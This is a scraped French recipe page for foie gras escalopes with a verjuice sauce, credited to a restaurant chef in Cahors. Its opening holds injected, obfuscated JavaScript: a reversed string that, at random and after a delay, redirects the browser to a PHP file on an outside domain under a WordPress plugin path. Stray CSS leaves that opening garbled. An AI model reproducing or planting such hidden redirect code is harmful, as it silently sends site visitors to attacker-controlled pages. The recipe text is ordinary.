) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1557335676332{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Escalopes de foie chaud de canard poêlées au verjus
Recette pour 4 convives
8 escalopes de foie gras frais (50Gr)
50Gr de sucre semoule
1/2 litre de verjus (avec grains de raisin si possible)
1/2 fond de veau ou fond de canard (fait avec les carcasses)
1 peu de mesclun de salade
Poêler les escalopes à feu vif sans matière grasse, puis réserver sur du papier absorbant
Faire la sauce: caraméliser à sec le sucre, rajouter le verjus, réduire de trois quart, rajouter le fond, réduire 1/3 et assaisonner
Dresser le mesclun nature, poser les escalopes tièdes sur la salade et napper de sauce

Bon appétit

http://www.bonnestables-lot.fr/fiche.php?idfiche=9
http://www.la-garenne-cahors.com/
Michel Carrendier
Restaurant La Garenne
46000 Cahors
www.la-garenne-cahors.com
05 65 35 40 67

©quercygourmand.tv – Réalisation : Olivier Arsandaux (CGourmandProd)

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